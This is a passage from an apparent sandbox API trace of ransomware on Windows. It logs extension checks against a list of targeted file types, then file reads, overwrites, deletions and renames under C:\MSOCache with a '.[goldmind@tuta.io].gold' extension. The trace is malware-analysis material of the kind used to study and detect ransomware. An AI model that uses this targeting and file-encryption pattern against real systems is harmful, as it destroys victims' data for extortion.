(lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.005] lstrlenW (lpString=".doc") returned 4 [0045.005] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.005] lstrlenW (lpString=".docx") returned 5 [0045.005] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0045.005] lstrlenW (lpString=".pdf") returned 4 [0045.005] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.005] lstrlenW (lpString=".xls") returned 4 [0045.005] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.005] lstrlenW (lpString=".xlsx") returned 5 [0045.005] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0045.005] lstrlenW (lpString=".ppt") returned 4 [0045.005] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.005] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.005] lstrlenW (lpString=".zip") returned 4 [0045.005] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.005] lstrlenW (lpString=".rar") returned 4 [0045.006] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.006] lstrlenW (lpString=".bz2") returned 4 [0045.006] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.006] lstrlenW (lpString=".7z") returned 3 [0045.006] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.006] lstrlenW (lpString=".dbf") returned 4 [0045.006] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.006] lstrlenW (lpString=".1cd") returned 4 [0045.006] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.006] lstrlenW (lpString=".jpg") returned 4 [0045.006] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.006] lstrlenW (lpString=".doc") returned 4 [0045.006] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.006] lstrlenW (lpString=".docx") returned 5 [0045.006] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0045.006] lstrlenW (lpString=".pdf") returned 4 [0045.006] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.006] lstrlenW (lpString=".xls") returned 4 [0045.006] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.006] lstrlenW (lpString=".xlsx") returned 5 [0045.006] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0045.006] lstrlenW (lpString=".ppt") returned 4 [0045.006] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.006] lstrlenW (lpString=".zip") returned 4 [0045.006] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.006] lstrlenW (lpString=".rar") returned 4 [0045.006] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.006] lstrlenW (lpString=".bz2") returned 4 [0045.006] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.006] lstrlenW (lpString=".7z") returned 3 [0045.006] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.006] lstrlenW (lpString=".dbf") returned 4 [0045.006] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.006] lstrlenW (lpString=".1cd") returned 4 [0045.006] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.007] lstrlenW (lpString=".jpg") returned 4 [0045.007] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.007] lstrcmpiW (lpString1=".exe", lpString2=".gold") returned -1 [0045.007] lstrlenW (lpString="setup.exe") returned 9 [0045.007] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0045.007] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=1377656) returned 1 [0045.007] CloseHandle (hObject=0x210) returned 1 [0045.007] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0045.007] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0045.007] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0045.007] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.007] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.007] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0045.008] GetLastError () returned 0x0 [0045.008] ReadFile (in: hFile=0x210, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0045.029] WriteFile (in: hFile=0x190, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0045.043] ReadFile (in: hFile=0x210, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x50588, lpOverlapped=0x0) returned 1 [0045.053] WriteFile (in: hFile=0x190, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0045.060] ReadFile (in: hFile=0x210, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.060] WriteFile (in: hFile=0x190, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.060] SetEndOfFile (hFile=0x190) returned 1 [0045.060] CloseHandle (hObject=0x190) returned 1 [0045.060] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.060] SetEndOfFile (hFile=0x210) returned 1 [0045.062] CloseHandle (hObject=0x210) returned 1 [0045.062] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0045.063] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0045.063] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0045.063] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0045.063] lstrlenW (lpString=".doc") returned 4 [0045.063] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0045.063] lstrlenW (lpString=".docx") returned 5 [0045.063] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0045.063] lstrlenW (lpString=".pdf") returned 4 [0045.063] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0045.063] lstrlenW (lpString=".xls") returned 4 [0045.063] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0045.063] lstrlenW (lpString=".xlsx") returned 5 [0045.063] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0045.063] lstrlenW (lpString=".ppt") returned 4 [0045.063] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0045.063] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0045.063] lstrlenW (lpString=".zip") returned 4 [0045.063] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0045.063] lstrlenW (lpString=".rar") returned 4 [0045.063] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0045.063] lstrlenW (lpString=".bz2") returned 4 [0045.063] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0045.063] lstrlenW (lpString=".7z") returned 3 [0045.063] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0045.063] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0045.063] lstrlenW (lpString=".dbf") returned 4 [0045.063] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0045.063] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0045.063] lstrlenW (lpString=".1cd") returned 4 [0045.063] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0045.063] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0045.063] lstrlenW (lpString=".jpg") returned 4 [0045.063] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0045.063] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0045.063] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0045.064] lstrlenW (lpString=".doc") returned 4 [0045.064] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0045.064] lstrlenW (lpString=".docx") returned 5 [0045.064] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0045.064] lstrlenW (lpString=".pdf") returned 4 [0045.064] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0045.064] lstrlenW (lpString=".xls") returned 4 [0045.064] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0045.064] lstrlenW (lpString=".xlsx") returned 5 [0045.064] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0045.064] lstrlenW (lpString=".ppt") returned 4 [0045.064] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0045.064] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0045.064] lstrlenW (lpString=".zip") returned 4 [0045.064] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0045.064] lstrlenW (lpString=".rar") returned 4 [0045.064] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0045.064] lstrlenW (lpString=".bz2") returned 4 [0045.064] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0045.064] lstrlenW (lpString=".7z") returned 3 [0045.064] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0045.064] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0045.064] lstrlenW (lpString=".dbf") returned 4 [0045.064] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0045.064] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0045.064] lstrlenW (lpString=".1cd") returned 4 [0045.064] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0045.064] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0045.064] lstrlenW (lpString=".jpg") returned 4 [0045.064] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0045.064] lstrcmpiW (lpString1=".msi", lpString2=".gold") returned 1 [0045.064] lstrlenW (lpString="Office32WW.msi") returned 14 [0045.064] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0045.065] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=1992192) returned 1 [0045.065] CloseHandle (hObject=0x210) returned 1 [0045.065] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0045.065] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0045.065] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0045.065] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0045.065] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc6c | out: lpNewFilePointer=0x0) returned 1 [0045.065] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.065] ReadFile (in: hFile=0x210, lpBuffer=0x3640058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x3640058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.071] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.071] ReadFile (in: hFile=0x210, lpBuffer=0x3680058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x3680058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.103] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b6fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.103] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.103] ReadFile (in: hFile=0x210, lpBuffer=0x36c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x36c0058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.198] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.198] WriteFile (in: hFile=0x210, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2b6fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0045.252] SetEndOfFile (hFile=0x210) returned 1 [0045.298] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3fb40a0 [0045.301] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.301] WriteFile (in: hFile=0x210, lpBuffer=0x3fb40a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb40a0*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.302] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.302] WriteFile (in: hFile=0x210, lpBuffer=0x3fb40a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb40a0*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.303] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.303] WriteFile (in: hFile=0x210, lpBuffer=0x3fb40a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb40a0*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.305] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3fb40a0 | out: hHeap=0x880000) returned 1 [0045.305] CloseHandle (hObject=0x210) returned 1 [0045.305] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0045.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.305] lstrlenW (lpString=".doc") returned 4 [0045.305] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.305] lstrlenW (lpString=".docx") returned 5 [0045.305] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0045.305] lstrlenW (lpString=".pdf") returned 4 [0045.305] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.305] lstrlenW (lpString=".xls") returned 4 [0045.305] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.305] lstrlenW (lpString=".xlsx") returned 5 [0045.305] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0045.305] lstrlenW (lpString=".ppt") returned 4 [0045.305] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.305] lstrlenW (lpString=".zip") returned 4 [0045.305] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.305] lstrlenW (lpString=".rar") returned 4 [0045.305] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.305] lstrlenW (lpString=".bz2") returned 4 [0045.305] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.305] lstrlenW (lpString=".7z") returned 3 [0045.305] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.305] lstrlenW (lpString=".dbf") returned 4 [0045.306] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.306] lstrlenW (lpString=".1cd") returned 4 [0045.306] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.306] lstrlenW (lpString=".jpg") returned 4 [0045.306] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.306] lstrlenW (lpString=".doc") returned 4 [0045.306] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.306] lstrlenW (lpString=".docx") returned 5 [0045.306] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0045.306] lstrlenW (lpString=".pdf") returned 4 [0045.306] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.306] lstrlenW (lpString=".xls") returned 4 [0045.306] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.306] lstrlenW (lpString=".xlsx") returned 5 [0045.306] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0045.306] lstrlenW (lpString=".ppt") returned 4 [0045.306] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.306] lstrlenW (lpString=".zip") returned 4 [0045.306] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.306] lstrlenW (lpString=".rar") returned 4 [0045.306] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.306] lstrlenW (lpString=".bz2") returned 4 [0045.306] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.306] lstrlenW (lpString=".7z") returned 3 [0045.306] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.306] lstrlenW (lpString=".dbf") returned 4 [0045.306] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.306] lstrlenW (lpString=".1cd") returned 4 [0045.306] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.306] lstrlenW (lpString=".jpg") returned 4 [0045.306] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.306] lstrcmpiW (lpString1=".cab", lpString2=".gold") returned -1 [0045.307] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0045.307] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0045.307] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=36233052) returned 1 [0045.307] CloseHandle (hObject=0x210) returned 1 [0045.307] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0045.307] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0045.307] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0045.308] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all 